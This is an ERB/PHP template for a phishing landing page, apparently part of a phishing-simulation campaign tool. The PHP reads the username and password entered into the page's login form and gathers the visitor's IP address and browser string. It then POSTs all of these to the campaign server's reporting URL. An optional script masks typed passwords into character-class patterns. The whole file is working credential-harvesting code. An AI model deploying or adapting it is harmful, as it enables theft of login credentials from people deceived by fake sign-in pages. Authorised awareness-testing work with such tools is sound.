<?php
// Turn off all error reporting
error_reporting(0);

<% if @campaign_settings.require_uid %>
if (isset($_GET['uid'])) {
  $uid = $_GET['uid'];
} else {
  header('404 Not Found', true, 404);
  echo "404 Page Not Found";
  exit();
}
<% end %>

$password = htmlspecialchars($_POST['PasswordForm']);
$username = htmlspecialchars($_POST['UsernameForm']);

if ($password != '') {
  $creds = 'user:' . $username . ' password:' . $password;
}

$ip = $_SERVER['REMOTE_ADDR'];
$browser = htmlspecialchars($_SERVER['HTTP_USER_AGENT']);
$host = $_SERVER['HTTP_HOST'];
$url = "<%= GlobalSettings.first.site_url %>" . '/reports/results/';
$data = array('uid' => $uid, 'browser_info' => $browser, 'ip_address' => $ip, 'extra' => $creds);

// use key 'http' even if you send the request to https://...
$options = array(
    'http' => array(
    'header'  => 'Content-type: application/x-www-form-urlencoded',
    'method'  => 'POST',
    'content' => http_build_query($data),
    ),
);
$context  = stream_context_create($options);
$result = file_get_contents($url, false, $context);
?>

<% unless @campaign_settings.password_storage %>
<script type="text/javascript">
  document.addEventListener('DOMContentLoaded',function(){
    var passwordFormElement = document.getElementsByName('PasswordForm')[0];
    var REGEX = {
      ALPHA: /[a-z]/i,
      ALPHA_UPPER: /[A-Z]/
    }

    passwordFormElement.addEventListener("input", function(){
      var meta = this.value;
      var char = this.value.slice(-1);
      if (char.match(REGEX.ALPHA)) {
        // alpha letters match
        if (char.match(REGEX.ALPHA_UPPER)) {
          // char is uppercase
          meta = meta.replace(/.$/,"L");
        } else {
          // char is lowercase
          meta = meta.replace(/.$/,"l");
        }
      } else if (char.match(/\d/)) {
        // numeric match
        meta = meta.replace(/.$/,"n");
      } else {
        // special characters
        meta = meta.replace(/.$/,"s");
      }
      passwordFormElement.value = meta;
    });
  })
</script>
<% end %>